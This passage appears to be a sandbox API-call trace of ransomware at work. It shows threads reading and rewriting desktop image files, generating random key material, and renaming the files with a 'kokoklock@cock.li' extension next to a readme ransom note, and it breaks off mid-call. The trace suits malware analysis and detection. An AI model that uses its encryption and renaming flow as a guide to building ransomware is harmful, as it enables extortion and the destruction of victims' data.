returned="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" [0172.550] wcscat (in: _Dest=0x2f97678, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.550] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.551] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0172.551] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.551] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.551] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.551] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.551] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3ea0) returned 1 [0172.551] RtlExitUserThread (Status=0x1) Thread: id = 1939 os_tid = 0x818 [0170.745] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.510] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.510] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x139ffbf0 | out: lpFileSize=0x139ffbf0*=85763) returned 1 [0172.510] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x14eff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.510] ReadFile (in: hFile=0x5d4, lpBuffer=0x139ffbc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x139ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x139ffbc4*, lpNumberOfBytesRead=0x139ffbc0*=0x4, lpOverlapped=0x0) returned 1 [0172.511] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058390 [0172.511] NtQuerySystemTime (in: CurrentTime=0x139ffb9c | out: CurrentTime=0x139ffb9c*=132121213298264445) returned 0x0 [0172.511] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xad23ba6d [0172.511] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x7714cae5 [0172.511] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x99c1dd53 [0172.511] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xb9c20b81 [0172.511] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x38f331f9 [0172.511] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x355aad35 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xeb874429 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x97ecff17 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xa58af8c2 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xd86221cb [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xbe11210f [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x630f8114 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xb39286cf [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x4cc1eee3 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x68ad7e01 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xc0b7bf49 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x9368abb [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x5624ea19 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x42a0975 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x73673c35 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x15e7d9aa [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xf4036a08 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xe35bb07 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x77a2ed9e [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x58bbf483 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0xa8f5851d [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x18a66402 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x55c775b9 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x22674aae [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x71775674 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x9a4fdf56 [0172.512] RtlRandom (in: Seed=0x139ffba8 | out: Seed=0x139ffba8) returned 0x6c881bfb [0172.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583b8 [0172.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058408 [0172.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.525] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.525] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x139ffb74, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x139ffb74*=0x4096, lpOverlapped=0x0) returned 1 [0172.525] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058188 [0172.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058188) returned 1 [0172.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058188 [0172.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058188) returned 1 [0172.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.526] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x139ffb74, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x139ffb74*=0x4096, lpOverlapped=0x0) returned 1 [0172.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.526] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x14f03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.526] WriteFile (in: hFile=0x5d4, lpBuffer=0x30583e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x139ffbac, lpOverlapped=0x0 | out: lpBuffer=0x30583e0*, lpNumberOfBytesWritten=0x139ffbac*=0x20, lpOverlapped=0x0) returned 1 [0172.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.527] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x139ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x3058408*, lpNumberOfBytesWritten=0x139ffbc0*=0x8, lpOverlapped=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x5d4, lpBuffer=0x139ffbd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x139ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x139ffbd8*, lpNumberOfBytesWritten=0x139ffbc0*=0x4, lpOverlapped=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x139ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x139ffbc0*=0x4, lpOverlapped=0x0) returned 1 [0172.528] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x139ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x139ffbc0*=0x6c, lpOverlapped=0x0) returned 1 [0172.528] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x139ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x139ffbc0*=0x20, lpOverlapped=0x0) returned 1 [0172.528] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x139ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x139ffbc0*=0x4, lpOverlapped=0x0) returned 1 [0172.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583b8) returned 1 [0172.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058408) returned 1 [0172.528] CloseHandle (hObject=0x5d4) returned 1 [0172.528] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff1520 [0172.528] wcscpy (in: _Dest=0x2ff1520, _Source="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" [0172.528] wcscat (in: _Dest=0x2ff1520, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.528] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.529] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1520) returned 1 [0172.529] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.530] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.530] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.530] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.530] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfe48) returned 1 [0172.530] RtlExitUserThread (Status=0x1) Thread: id = 1940 os_tid = 0x9cc [0170.746] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.477] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.477] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13a7fcbc | out: lpFileSize=0x13a7fcbc*=91206) returned 1 [0172.477] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x16442, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.477] ReadFile (in: hFile=0x5d4, lpBuffer=0x13a7fc90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13a7fc8c, lpOverlapped=0x0 | out: lpBuffer=0x13a7fc90*, lpNumberOfBytesRead=0x13a7fc8c*=0x4, lpOverlapped=0x0) returned 1 [0172.479] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058368 [0172.479] NtQuerySystemTime (in: CurrentTime=0x13a7fc68 | out: CurrentTime=0x13a7fc68*=132121213297952778) returned 0x0 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x3d75692 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x3bd4c2f1 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x588b3f10 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x6e1b3fd8 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x58789fe1 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x8ccf43f9 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xa36f861e [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xe840ed6d [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x5519f951 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x8961bbe7 [0172.479] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x4f1c2288 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x6e74f5f5 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x95809080 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xa23a6071 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xac129783 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x92639aa6 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x77d2514e [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xfb06f56f [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xe38c1f10 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xdd614740 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xf24b2e1 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x8b66d91e [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x8a186fdc [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x34ce52bf [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xb323055a [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xd582ec85 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xdccdccfd [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xb9634d3e [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xf7c5a6eb [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xfa236334 [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0xd29299cb [0172.480] RtlRandom (in: Seed=0x13a7fc74 | out: Seed=0x13a7fc74) returned 0x4e6d3010 [0172.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583b8 [0172.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058408 [0172.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.501] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.501] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13a7fc40, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13a7fc40*=0x4096, lpOverlapped=0x0) returned 1 [0172.502] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058188 [0172.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058188) returned 1 [0172.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058390 [0172.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.503] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13a7fc40, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13a7fc40*=0x4096, lpOverlapped=0x0) returned 1 [0172.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.503] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x16446, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.503] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058390*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13a7fc78, lpOverlapped=0x0 | out: lpBuffer=0x3058390*, lpNumberOfBytesWritten=0x13a7fc78*=0x20, lpOverlapped=0x0) returned 1 [0172.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058390) returned 1 [0172.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.504] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13a7fc8c, lpOverlapped=0x0 | out: lpBuffer=0x3058408*, lpNumberOfBytesWritten=0x13a7fc8c*=0x8, lpOverlapped=0x0) returned 1 [0172.504] WriteFile (in: hFile=0x5d4, lpBuffer=0x13a7fca4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13a7fc8c, lpOverlapped=0x0 | out: lpBuffer=0x13a7fca4*, lpNumberOfBytesWritten=0x13a7fc8c*=0x4, lpOverlapped=0x0) returned 1 [0172.504] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13a7fc8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13a7fc8c*=0x4, lpOverlapped=0x0) returned 1 [0172.504] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13a7fc8c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13a7fc8c*=0x6c, lpOverlapped=0x0) returned 1 [0172.505] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13a7fc8c, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x13a7fc8c*=0x20, lpOverlapped=0x0) returned 1 [0172.505] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13a7fc8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13a7fc8c*=0x4, lpOverlapped=0x0) returned 1 [0172.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583b8) returned 1 [0172.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058408) returned 1 [0172.505] CloseHandle (hObject=0x5d4) returned 1 [0172.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2f986c0 [0172.505] wcscpy (in: _Dest=0x2f986c0, _Source="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" [0172.505] wcscat (in: _Dest=0x2f986c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: 